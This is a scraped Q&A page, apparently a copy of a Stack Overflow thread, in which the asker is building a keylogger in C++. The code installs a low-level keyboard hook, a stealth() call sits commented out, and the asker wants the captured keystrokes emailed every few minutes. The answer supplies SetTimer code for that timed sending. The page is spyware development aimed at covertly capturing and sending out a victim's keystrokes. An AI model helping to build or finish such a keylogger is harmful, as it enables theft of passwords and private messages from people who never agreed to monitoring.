winapi - win32 main loop interval issue C++ -


i'm making keylogger logs key strokes (duh..). when i've implemented basic keylogger in c++, wanted add new feature application: want mail logs email. far good, found open source email client fits perfect needs. problem have make application send logs in intervals of x minutes.

int main(int argc, char *argv[]) {     //stealth();     hhook = setwindowshookex(wh_keyboard_ll, mylowlevelkeyboardproc, null, 0);     if(hhook == null)     {         cout << "hook failed" << endl;     }      msg message;     while(getmessage(&message, null, 0, 0))     {         translatemessage(&message);         dispatchmessage(&message);     }      return 0; } 

somehow need implement somekind of counter @ point use function send();. got idea how modify msg loop execute funktion send(); each , every 5 minutes?

take @ settimer function, think need.

before event loop should call function desired interval , have pass callback function. alternatively can use function createtimerqueuetimer

void callback timerproc(hwnd hwnd, uint nmsg, uint nidevent, dword dwtime) { }  uint timer = settimer(null, 0, 500, &timerproc);  msg message; while(getmessage(&message, null, 0, 0)) {     translatemessage(&message);     dispatchmessage(&message); }  killtimer(null, timerid); 

Comments

Popular posts from this blog

c# - Operator '==' incompatible with operand types 'Guid' and 'Guid' using DynamicExpression.ParseLambda<T, bool> -